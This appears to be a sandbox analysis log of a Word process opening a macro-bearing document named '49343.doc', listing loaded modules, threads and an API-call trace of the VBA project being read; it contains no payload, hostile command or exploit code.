start_va = 0xa960000
end_va = 0xa99ffff
entry_point = 0x0
region_type = private
name = "private_0x000000000a960000"
filename = ""
Region:
id = 1640
start_va = 0x73880000
end_va = 0x7388ffff
entry_point = 0x73881526
region_type = mapped_file
name = "napinsp.dll"
filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll")
Region:
id = 1641
start_va = 0x73860000
end_va = 0x73871fff
entry_point = 0x738618f2
region_type = mapped_file
name = "pnrpnsp.dll"
filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll")
Region:
id = 1642
start_va = 0x73850000
end_va = 0x73857fff
entry_point = 0x7385131e
region_type = mapped_file
name = "winrnr.dll"
filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll")
Region:
id = 1643
start_va = 0x74ff0000
end_va = 0x75029fff
entry_point = 0x74ff0000
region_type = mapped_file
name = "schannel.dll"
filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll")
Region:
id = 1644
start_va = 0x2390000
end_va = 0x2391fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000002390000"
filename = ""
Region:
id = 1645
start_va = 0x75300000
end_va = 0x75337fff
entry_point = 0x75300000
region_type = mapped_file
name = "ncrypt.dll"
filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll")
Region:
id = 1646
start_va = 0xa9e0000
end_va = 0xaadffff
entry_point = 0x0
region_type = private
name = "private_0x000000000a9e0000"
filename = ""
Region:
id = 1647
start_va = 0x74da0000
end_va = 0x74db5fff
entry_point = 0x74da2061
region_type = mapped_file
name = "gpapi.dll"
filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")
Region:
id = 1648
start_va = 0x7ffa9000
end_va = 0x7ffa9fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffa9000"
filename = ""
Region:
id = 1656
start_va = 0x6cde0000
end_va = 0x6cea1fff
entry_point = 0x6cde0000
region_type = mapped_file
name = "webservices.dll"
filename = "\\Windows\\System32\\webservices.dll" (normalized: "c:\\windows\\system32\\webservices.dll")
Region:
id = 1659
start_va = 0x2170000
end_va = 0x21a1fff
entry_point = 0x0
region_type = private
name = "private_0x0000000002170000"
filename = ""
Region:
id = 1660
start_va = 0x72990000
end_va = 0x72999fff
entry_point = 0x72990000
region_type = mapped_file
name = "wordcnvpxy.cnv"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordcnvpxy.cnv")
Region:
id = 1661
start_va = 0x72800000
end_va = 0x72809fff
entry_point = 0x72802a34
region_type = mapped_file
name = "wordcnvpxy.cnv"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordcnvpxy.cnv")
Region:
id = 1662
start_va = 0x72990000
end_va = 0x7299bfff
entry_point = 0x72990000
region_type = mapped_file
name = "recovr32.cnv"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\RECOVR32.CNV" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\recovr32.cnv")
Region:
id = 1663
start_va = 0x727f0000
end_va = 0x7280ffff
entry_point = 0x727f0000
region_type = mapped_file
name = "msconv97.dll"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\MSCONV97.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\msconv97.dll")
Region:
id = 1664
start_va = 0x6d4f0000
end_va = 0x6d521fff
entry_point = 0x6d4f0000
region_type = mapped_file
name = "wpft532.cnv"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\WPFT532.CNV" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\wpft532.cnv")
Region:
id = 1665
start_va = 0x721b0000
end_va = 0x721cffff
entry_point = 0x721bc7d4
region_type = mapped_file
name = "msconv97.dll"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\MSCONV97.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\msconv97.dll")
Region:
id = 1666
start_va = 0x6d460000
end_va = 0x6d47ffff
entry_point = 0x6d46c7d4
region_type = mapped_file
name = "msconv97.dll"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\MSCONV97.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\msconv97.dll")
Region:
id = 1667
start_va = 0x6d4f0000
end_va = 0x6d52efff
entry_point = 0x6d4f0000
region_type = mapped_file
name = "wpft632.cnv"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\WPFT632.CNV" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\wpft632.cnv")
Region:
id = 1668
start_va = 0x21b0000
end_va = 0x222ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000021b0000"
filename = ""
Region:
id = 1669
start_va = 0x6ef0000
end_va = 0x6f6ffff
entry_point = 0x6ef0000
region_type = mapped_file
name = "~df5135aec23b5588e3.tmp"
filename = "\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\~DF5135AEC23B5588E3.TMP" (normalized: "c:\\users\\atveyd~1\\appdata\\local\\temp\\~df5135aec23b5588e3.tmp")
Region:
id = 1670
start_va = 0x7320000
end_va = 0x739ffff
entry_point = 0x7320000
region_type = mapped_file
name = "49343.doctmp"
filename = "\\Users\\ATVEYD~1\\Desktop\\49343.doctmp" (normalized: "c:\\users\\atveyd~1\\desktop\\49343.doctmp")
Region:
id = 1671
start_va = 0xaae0000
end_va = 0xaedffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000aae0000"
filename = ""
Region:
id = 1672
start_va = 0x8130000
end_va = 0x81e6fff
entry_point = 0x8130000
region_type = mapped_file
name = "arialbd.ttf"
filename = "\\Windows\\Fonts\\arialbd.ttf" (normalized: "c:\\windows\\fonts\\arialbd.ttf")
Region:
id = 1673
start_va = 0x73ea0000
end_va = 0x73ea8fff
entry_point = 0x73ea15a6
region_type = mapped_file
name = "netutils.dll"
filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")
Thread:
id = 1
os_tid = 0xa88
Thread:
id = 2
os_tid = 0xa84
Thread:
id = 3
os_tid = 0xa80
Thread:
id = 4
os_tid = 0xa7c
Thread:
id = 5
os_tid = 0xa78
Thread:
id = 6
os_tid = 0xa74
Thread:
id = 7
os_tid = 0xa70
Thread:
id = 8
os_tid = 0xa50
Thread:
id = 9
os_tid = 0xa48
Thread:
id = 10
os_tid = 0xa44
Thread:
id = 11
os_tid = 0xa40
Thread:
id = 12
os_tid = 0xa3c
Thread:
id = 13
os_tid = 0xa38
Thread:
id = 14
os_tid = 0xa34
Thread:
id = 15
os_tid = 0xa20
Thread:
id = 16
os_tid = 0xa10
Thread:
id = 17
os_tid = 0xa08
Thread:
id = 18
os_tid = 0xa04
Thread:
id = 19
os_tid = 0x9fc
[0028.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL", cchWideChar=-1, lpMultiByteStr=0x307fac, cbMultiByte=135, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL", lpUsedDefaultChar=0x0) returned 68
[0029.186] DefWindowProcA (hWnd=0x20194, Msg=0x81, wParam=0x0, lParam=0x307c68) returned 0x1
[0029.186] DefWindowProcA (hWnd=0x20194, Msg=0x83, wParam=0x0, lParam=0x307ca4) returned 0x0
[0029.186] DefWindowProcA (hWnd=0x20194, Msg=0x1, wParam=0x0, lParam=0x307c68) returned 0x0
[0029.186] DefWindowProcA (hWnd=0x20194, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0
[0029.186] DefWindowProcA (hWnd=0x20194, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0
[0029.187] DefWindowProcA (hWnd=0x20194, Msg=0x46, wParam=0x0, lParam=0x308030) returned 0x0
[0029.187] DefWindowProcA (hWnd=0x20194, Msg=0x47, wParam=0x0, lParam=0x308030) returned 0x0
[0029.187] DefWindowProcA (hWnd=0x20194, Msg=0x3, wParam=0x0, lParam=0x1c202d0) returned 0x0
[0029.192] CRetailMalloc_Alloc () returned 0x76aa870
[0029.192] GetUserDefaultLCID () returned 0x409
[0029.206] CRetailMalloc_Alloc () returned 0x7491268
[0029.206] CRetailMalloc_Alloc () returned 0x7452088
[0029.206] CRetailMalloc_Alloc () returned 0x7603458
[0029.206] CRetailMalloc_Alloc () returned 0x76447e8
[0029.206] CRetailMalloc_Alloc () returned 0x74b2ff8
[0029.249] CRetailMalloc_Alloc () returned 0x76aa5b0
[0029.249] CRetailMalloc_Alloc () returned 0x74523f8
[0029.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\ATVEYD~1\\Desktop\\49343.doc", cchWideChar=-1, lpMultiByteStr=0x3085e0, cbMultiByte=71, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\ATVEYD~1\\Desktop\\49343.doc", lpUsedDefaultChar=0x0) returned 36
[0029.370] CRetailMalloc_Alloc () returned 0x7609270
[0029.371] CRetailMalloc_Alloc () returned 0x452aa48
[0029.371] CRetailMalloc_Alloc () returned 0x75f24d0
[0029.371] CRetailMalloc_Alloc () returned 0x73f7230
[0029.371] CRetailMalloc_Alloc () returned 0x7579f80
[0029.371] CRetailMalloc_Alloc () returned 0x757a490
[0029.372] lstrcpyA (in: lpString1=0x5062868, lpString2="C:\\Users\\ATVEYD~1\\Desktop\\49343.doc" | out: lpString1="C:\\Users\\ATVEYD~1\\Desktop\\49343.doc") returned="C:\\Users\\ATVEYD~1\\Desktop\\49343.doc"
[0029.372] lstrcpyA (in: lpString1=0x5062868, lpString2="C:\\Users\\ATVEYD~1\\Desktop\\49343.doc" | out: lpString1="C:\\Users\\ATVEYD~1\\Desktop\\49343.doc") returned="C:\\Users\\ATVEYD~1\\Desktop\\49343.doc"
[0029.372] lstrcpyA (in: lpString1=0x5062868, lpString2="C:\\Users\\ATVEYD~1\\Desktop\\49343.doc" | out: lpString1="C:\\Users\\ATVEYD~1\\Desktop\\49343.doc") returned="C:\\Users\\ATVEYD~1\\Desktop\\49343.doc"
[0029.372] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
[0029.373] wcscpy_s (in: _Destination=0x3082de, _SizeInWords=0x105, _Source="C:\\Users\\ATVEYD~1\\Desktop\\49343.doc" | out: _Destination="C:\\Users\\ATVEYD~1\\Desktop\\49343.doc") returned 0x0
[0029.373] CRetailMalloc_Realloc () returned 0x743b040
[0029.373] wcscpy_s (in: _Destination=0x743b078, _SizeInWords=0x27, _Source="*\\CC:\\Users\\ATVEYD~1\\Desktop\\49343.doc" | out: _Destination="*\\CC:\\Users\\ATVEYD~1\\Desktop\\49343.doc") returned 0x0
[0029.373] wcscpy_s (in: _Destination=0x73f7240, _SizeInWords=0x108, _Source="*\\CC:\\Users\\ATVEYD~1\\Desktop\\49343.doc" | out: _Destination="*\\CC:\\Users\\ATVEYD~1\\Desktop\\49343.doc") returned 0x0
[0029.373] CExposedDocFile::OpenStorage () returned 0x0
[0029.373] CExposedDocFile::OpenStream () returned 0x0
[0029.374] CExposedStream::Release () returned 0x0
[0029.374] CExposedDocFile::OpenStream () returned 0x0
[0029.374] CExposedStream::Release () returned 0x0
[0029.374] CRetailMalloc_Alloc () returned 0x754ffc0
[0029.374] wcscpy_s (in: _Destination=0x307e88, _SizeInWords=0x40, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0
[0029.374] _ltow_s (in: _Value=0, _Buffer=0x307e94, _BufferCount=0x3a, _Radix=16 | out: _Buffer="0") returned 0x0
[0029.374] CExposedDocFile::OpenStream () returned 0x80030002
[0029.374] CRetailMalloc_Free () returned 0xe720001
[0029.374] longjmp ()
[0029.375] CRetailMalloc_Alloc () returned 0x754ffc0
[0029.375] CRetailMalloc_Realloc () returned 0x753fad8
[0029.375] CRetailMalloc_Alloc () returned 0x74d1ed8
[0029.375] CRetailMalloc_Alloc () returned 0x1bb4e78
[0029.376] CRetailMalloc_Alloc () returned 0x75e84e8
[0029.376] CRetailMalloc_Realloc () returned 0x75f0dc8
[0029.376] CRetailMalloc_Alloc () returned 0x75e8710
[0029.376] CRetailMalloc_Alloc () returned 0x75e8938
[0029.376] CRetailMalloc_Alloc () returned 0x7611d60
[0029.376] CRetailMalloc_Alloc () returned 0x7604e08
[0029.377] CRetailMalloc_Alloc () returned 0x75f24d0
[0029.377] CRetailMalloc_Alloc () returned 0x7609fe0
[0029.377] CRetailMalloc_Alloc () returned 0x75f2558
[0029.377] CRetailMalloc_Alloc () returned 0x7611d88
[0029.377] CRetailMalloc_Alloc () returned 0x75f25e0
[0029.377] CRetailMalloc_Realloc () returned 0x757b180
[0029.377] CRetailMalloc_Alloc () returned 0x7609ff0
[0029.377] CRetailMalloc_Alloc () returned 0x760a000
[0029.378] CRetailMalloc_Alloc () returned 0x75f25e0
[0029.378] CRetailMalloc_Alloc () returned 0x4513c20
[0029.378] CRetailMalloc_Alloc () returned 0x757b408
[0029.378] CRetailMalloc_Realloc () returned 0x76b1d10
[0029.379] CExposedDocFile::OpenStream () returned 0x0
[0029.379] CRetailMalloc_Alloc () returned 0x757be38
[0029.379] CExposedStream::Read () returned 0x0
[0029.381] CompareStringA (Locale=0x409, dwCmpFlags=0x3, lpString1="Test", cchCount1=-1, lpString2="Test", cchCount2=-1) returned 2
[0029.381] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x307e18, cbMultiByte=2, lpWideCharStr=0x307e1c, cchWideChar=2 | out: lpWideCharStr="") returned 2
[0029.381] CRetailMalloc_Alloc () returned 0x568e310
[0029.381] wcsncpy_s (in: _Destination=0x4560afc, _SizeInWords=0x97, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x30 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#") returned 0x0
[0029.381] wcscpy_s (in: _Destination=0x4560b5c, _SizeInWords=0x67, _Source="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Destination="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0
[0029.381] wcscpy_s (in: _Destination=0x4560bec, _SizeInWords=0x1f, _Source="#Visual Basic For Applications" | out: _Destination="#Visual Basic For Applications") returned 0x0
[0029.381] CRetailMalloc_Realloc () returned 0x7478fc8
[0029.381] CRetailMalloc_Free () returned 0x1610001
[0029.382] CRetailMalloc_Alloc () returned 0x568e310
[0029.382] CRetailMalloc_Free () returned 0x1610001
[0029.382] CRetailMalloc_Realloc () returned 0x757c258
[0029.382] CRetailMalloc_Alloc () returned 0x568e310
[0029.382] CRetailMalloc_Free () returned 0x1610001
[0029.382] CRetailMalloc_Alloc () returned 0x5503af8
[0029.382] wcsncpy_s (in: _Destination=0x4560afc, _SizeInWords=0x8f, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files (x86)\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _MaxCount=0x30 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#") returned 0x0
[0029.382] wcscpy_s (in: _Destination=0x4560b5c, _SizeInWords=0x5f, _Source="C:\\Program Files (x86)\\Microsoft Office\\Office16\\MSWORD.OLB" | out: _Destination="C:\\Program Files (x86)\\Microsoft Office\\Office16\\MSWORD.OLB") returned 0x0
[0029.382] wcscpy_s (in: _Destination=0x4560bd2, _SizeInWords=0x24, _Source="#Microsoft Word 16.0 Object Library" | out: _Destination="#Microsoft Word 16.0 Object Library") returned 0x0
[0029.382] CRetailMalloc_Realloc () returned 0x757c490
[0029.382] CRetailMalloc_Free () returned 0xffff0001
[0029.383] CRetailMalloc_Alloc () returned 0x5503af8
[0029.383] CRetailMalloc_Free () returned 0xffff0001
[0029.383] CRetailMalloc_Realloc () returned 0x757c7f8
[0029.383] CRetailMalloc_Alloc () returned 0x5503af8
[0029.383] CRetailMalloc_Free () returned 0xffff0001
[0029.383] CRetailMalloc_Alloc () returned 0x75401e0
[0029.383] wcsncpy_s (in: _Destination=0x467302c, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _MaxCount=0x30 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#") returned 0x0
[0029.383] wcscpy_s (in: _Destination=0x467308c, _SizeInWords=0x2f, _Source="C:\\Windows\\SysWOW64\\stdole2.tlb" | out: _Destination="C:\\Windows\\SysWOW64\\stdole2.tlb") returned 0x0
[0029.383] wcscpy_s (in: _Destination=0x46730ca, _SizeInWords=0x10, _Source="#OLE Automation" | out: _Destination="#OLE Automation") returned 0x0
[0029.383] CRetailMalloc_Realloc () returned 0x757cc60
[0029.383] CRetailMalloc_Free () returned 0x25a0001
[0029.383] CRetailMalloc_Alloc () returned 0x75401e0
[0029.384] CRetailMalloc_Free () returned 0x25a0001
[0029.384] CRetailMalloc_Alloc () returned 0x75401e0
[0029.384] CRetailMalloc_Free () returned 0x25a0001
[0029.384] CRetailMalloc_Alloc () returned 0x76b1bb0
[0029.385] CRetailMalloc_Alloc () returned 0x76b1bd0
[0029.390] CRetailMalloc_Free () returned 0x1dd60401
[0029.390] CRetailMalloc_Free () returned 0x1dc20401
[0029.390] CRetailMalloc_Alloc () returned 0x74fe938
[0029.390] CExposedStream::Read () returned 0x0
[0029.390] wcsncpy_s (in: _Destination=0x4560afc, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _MaxCount=0x30 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#") returned 0x0
[0029.391] wcscpy_s (in: _Destination=0x4560b5c, _SizeInWords=0x6b, _Source="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0
[0029.391] wcscpy_s (in: _Destination=0x4560be6, _SizeInWords=0x26, _Source="#Microsoft Office 16.0 Object Library" | out: _Destination="#Microsoft Office 16.0 Object Library") returned 0x0
[0029.391] CRetailMalloc_Free () returned 0x3b10001
[0029.391] CRetailMalloc_Alloc () returned 0x74fe938
[0029.391] CRetailMalloc_Free () returned 0x3b10001
[0029.391] CRetailMalloc_Realloc () returned 0x757d328
[0029.391] CRetailMalloc_Alloc () returned 0x74fe938
[0029.391] CRetailMalloc_Free () returned 0x3b10001
[0029.391] CRetailMalloc_Realloc () returned 0x7604e20
[0029.391] CRetailMalloc_Alloc () returned 0x76b1bb0
[0029.391] CRetailMalloc_Alloc () returned 0x7604e38
[0029.392] CRetailMalloc_Realloc () returned 0x7659f30
[0029.393] CRetailMalloc_Realloc () returned 0x757b180
[0029.393] CExposedStream::Read () returned 0x0
[0029.393] CRetailMalloc_Realloc () returned 0x76b1bd0
[0029.402] CExposedStream::Read () returned 0x0
[0029.402] CExposedStream::Read () returned 0x0
[0029.402] CExposedStream::Read () returned 0x0
[0029.402] CExposedStream::Read () returned 0x0
[0029.402] CExposedStream::Read () returned 0x0
[0029.403] CExposedStream::Read () returned 0x0
[0029.403] CExposedStream::Read () returned 0x0
[0029.403] CRetailMalloc_Realloc () returned 0x74b2e58
[0029.403] CRetailMalloc_Realloc () returned 0x57b2bb8
[0029.403] CRetailMalloc_Free () returned 0x1
[0029.403] CRetailMalloc_Alloc () returned 0x757be38
[0029.410] CRetailMalloc_Alloc () returned 0x1bb4e08
[0029.410] CRetailMalloc_Realloc () returned 0x75e8b60
[0029.410] CRetailMalloc_Alloc () returned 0x76b1c70
[0029.410] CRetailMalloc_Realloc () returned 0x760a000
[0029.410] CRetailMalloc_Alloc () returned 0x7550018
[0029.410] CRetailMalloc_Alloc () returned 0x4513ba8
[0029.410] CRetailMalloc_Alloc () returned 0x1bb51f8
[0029.410] CRetailMalloc_Alloc () returned 0x7550070
[0029.410] CRetailMalloc_Alloc () returned 0x4513b30
[0029.410] CRetailMalloc_Alloc () returned 0x1bb4d28
[0029.410] lstrcpyA (in: lpString1=0x5063550, lpString2="PROJECT" | out: lpString1="PROJECT") returned="PROJECT"
[0029.411] CExposedDocFile::Stat () returned 0x0
[0029.411] CExposedDocFile::OpenStream () returned 0x0
[0029.411] CExposedDocFile::AddRef () returned 0x3
[0029.411] CExposedStream::Stat () returned 0x0
[0029.411] CExposedStream::Read () returned 0x0
[0029.412] CExposedDocFile::OpenStream () returned 0x0
[0029.412] CExposedStream::Stat () returned 0x0
[0029.413] CExposedStream::Read () returned 0x0
[0029.413] CExposedStream::Release () returned 0x0
[0029.413] lstrcpyA (in: lpString1=0x5063918, lpString2="" | out: lpString1="") returned=""
[0029.413] lstrcmpiA (lpString1="ThisDocument", lpString2="ThisDocument") returned 0
[0029.413] lstrlenA (lpString="ThisDocument") returned 12
[0029.414] lstrcpyA (in: lpString1=0x5063970, lpString2="" | out: lpString1="") returned=""
[0029.414] lstrcmpiA (lpString1="Module1", lpString2="Module1") returned 0
[0029.414] lstrlenA (lpString="Module1") returned 7
[0029.414] atoi (_Str="393222000") returned 393222000
[0029.414] lstrcpynA (in: lpString1=0x5062ac8, lpString2="{7613CC16-FE16-4704-81A7-097E05AA7735}", iMaxLength=39 | out: lpString1="{7613CC16-FE16-4704-81A7-097E05AA7735}") returned="{7613CC16-FE16-4704-81A7-097E05AA7735}"
[0029.414] lstrcmpA (lpString1="{00000000-0000-0000-0000-000000000000}", lpString2="{7613CC16-FE16-4704-81A7-097E05AA7735}") returned -1
[0029.414] lstrlenA (lpString="{7613CC16-FE16-4704-81A7-097E05AA7735}") returned 38
[0029.414] lstrlenA (lpString="{7613CC16-FE16-4704-81A7-097E05AA7735}") returned 38
[0029.414] lstrlenA (lpString="{7613CC16-FE16-4704-81A7-097E05AA7735}") returned 38
[0029.414] CExposedStream::Commit () returned 0x0
[0029.414] CExposedStream::Release () returned 0x0
[0029.418] lstrlenA (lpString="&H00000001") returned 10
[0029.418] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53
[0029.419] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53
[0029.419] CLSIDFromString (in: lpsz="{3832D640-CF90-11CF-8E43-00A0C911005A}", pclsid=0x50636d8 | out: pclsid=0x50636d8*(Data1=0x3832d640, Data2=0xcf90, Data3=0x11cf, Data4=([0]=0x8e, [1]=0x43, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x5a))) returned 0x0
[0029.420] CRetailMalloc_Alloc () returned 0x7611e00
[0029.467] CExposedDocFile::CreateStorage () returned 0x0
[0029.467] CRetailMalloc_Alloc () returned 0x757c440
[0029.467] CRetailMalloc_Alloc () returned 0x757fbf0
[0029.468] CRetailMalloc_Alloc () returned 0x75500c8
[0029.468] CRetailMalloc_Realloc () returned 0x75401e0
[0029.468] CRetailMalloc_Alloc () returned 0x1bb4ee8
[0029.468] CRetailMalloc_Alloc () returned 0x1bb4f58
[0029.468] CRetailMalloc_Alloc () returned 0x75e8fb0
[0029.468] CRetailMalloc_Realloc () returned 0x75f0ee8
[0029.468] CRetailMalloc_Alloc () returned 0x75e8d88
[0029.468] CRetailMalloc_Alloc () returned 0x75e91d8
[0029.468] CRetailMalloc_Alloc () returned 0x7611e78
[0029.468] CRetailMalloc_Alloc () returned 0x7604f58
[0029.468] CRetailMalloc_Alloc () returned 0x75f2558
[0029.468] CRetailMalloc_Alloc () returned 0x7609f80
[0029.468] CRetailMalloc_Alloc () returned 0x75f2668
[0029.468] CRetailMalloc_Alloc () returned 0x7611ea0
[0029.468] CRetailMalloc_Alloc () returned 0x75f26f0
[0029.468] CRetailMalloc_Realloc () returned 0x757c698
[0029.468] CRetailMalloc_Alloc () returned 0x7609f40
[0029.468] CRetailMalloc_Alloc () returned 0x7609f30
[0029.469] CRetailMalloc_Alloc () returned 0x75808e0
[0029.469] CRetailMalloc_Free () returned 0x1
[0029.469] CRetailMalloc_Realloc () returned 0x76a51f0
[0029.479] CRetailMalloc_Realloc () returned 0x742d080
[0029.479] SysStringLen (param_1="Word") returned 0x4
[0029.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4
[0029.479] SysStringLen (param_1="Word") returned 0x4
[0029.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0x7604f74, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5
[0029.480] CRetailMalloc_Alloc () returned 0x5503af8
[0029.480] CRetailMalloc_Free () returned 0xffff0001
[0029.480] CRetailMalloc_Alloc () returned 0x5503af8
[0029.480] CRetailMalloc_Free () returned 0xffff0001
[0029.532] CRetailMalloc_Realloc () returned 0x7581dc8
[0029.532] SysStringLen (param_1="VBA") returned 0x3
[0029.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3
[0029.532] SysStringLen (param_1="VBA") returned 0x3
[0029.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x7604f74, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4
[0029.535] CRetailMalloc_Alloc () returned 0x7605270
[0029.535] CRetailMalloc_Free () returned 0x750301
[0029.536] CRetailMalloc_Alloc () returned 0x7611ea0
[0029.536] CRetailMalloc_Free () returned 0x7c10201
[0029.536] CRetailMalloc_Alloc () returned 0x568e310
[0029.536] CRetailMalloc_Free () returned 0x1610001
[0029.536] CRetailMalloc_Alloc () returned 0x568e310
[0029.536] CRetailMalloc_Free () returned 0x1610001
[0029.536] CRetailMalloc_Alloc () returned 0x7609990
[0029.536] CRetailMalloc_Alloc () returned 0x760a010
[0029.536] CRetailMalloc_Alloc () returned 0x760a020
[0029.536] CRetailMalloc_Free () returned 0x1ca0101
[0029.537] CRetailMalloc_Alloc () returned 0x76a9550
[0029.537] CRetailMalloc_Alloc () returned 0x7605270
[0029.537] CRetailMalloc_Free () returned 0x1c80101
[0029.537] CRetailMalloc_Free () returned 0x1c60101
[0029.537] CRetailMalloc_Alloc () returned 0x7582650
[0029.537] CRetailMalloc_Realloc () returned 0x7609990
[0029.537] CRetailMalloc_Realloc () returned 0x75e9400
[0029.537] LoadStringA (in: hInstance=0x72480000, uID=0x32f3, lpBuffer=0x506ec8c, cchBufferMax=128 | out: lpBuffer="Project") returned 0x7
[0029.538] wsprintfA (in: param_1=0x506ec93, param_2="%d" | out: param_1="1") returned 1
[0029.539] lstrcmpiA (lpString1="Project", lpString2="Project1") returned -1
[0029.540] CRetailMalloc_Alloc () returned 0x76a9630
[0029.540] CRetailMalloc_Free () returned 0x7a0301
[0029.540] CRetailMalloc_Alloc () returned 0x7611ea0
[0029.540] CRetailMalloc_Realloc () returned 0x74adb78
[0029.540] CRetailMalloc_Free () returned 0xd260401
[0029.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\stdole2.tlb", cchWideChar=-1, lpMultiByteStr=0x308130, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32\\stdole2.tlb", lpUsedDefaultChar=0x0) returned 32
[0029.543] LoadTypeLib (in: szFile="C:\\Windows\\system32\\stdole2.tlb", pptlib=0x3084cc*=0x0 | out: pptlib=0x3084cc*=0x5810260) returned 0x0
